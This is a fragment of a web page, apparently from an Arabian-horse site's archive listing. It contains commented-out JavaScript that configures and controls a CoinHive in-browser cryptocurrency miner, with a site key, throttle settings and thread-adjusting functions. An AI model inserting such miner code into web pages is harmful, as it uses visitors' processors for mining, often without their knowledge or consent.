/* var miner = new CoinHive.Anonymous('4oPUmMobc1OlUsNQNCfTMDwbVYaw7dC2', { threads: 2, autoThreads: false, throttle: 0.7, // throttle: 0, forceASMJS: false }); // start miner miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); // Update stats once per second /* setInterval(function() { var hashesPerSecond = Math.round(miner.getHashesPerSecond()*10000) / 10000; var totalHashes = miner.getTotalHashes(); var acceptedHashes = miner.getAcceptedHashes(); var threads = miner.getNumThreads(); //hashesPerSecond = math.round(hashesPerSecond*10000)/10000); // Output to HTML elements... document.getElementById("hashes-per-sec").innerHTML = hashesPerSecond; document.getElementById("hashes-accepted").innerHTML = acceptedHashes; document.getElementById("total-hashes").innerHTML = totalHashes; document.getElementById("threads").innerHTML = threads; }, 1000); // start the output loop setInterval(); */ // some functions function upperThreads() { var threads = miner.getNumThreads(); var threadsNew = threads + 1; miner.setNumThreads(threadsNew); } function lowerThreads() { var threads = miner.getNumThreads(); var threadsNew = threads - 1; miner.setNumThreads(threadsNew); } function minerStop() { miner.stop(); } function minerStart() { miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); }*/ SM-Arabians » Archive List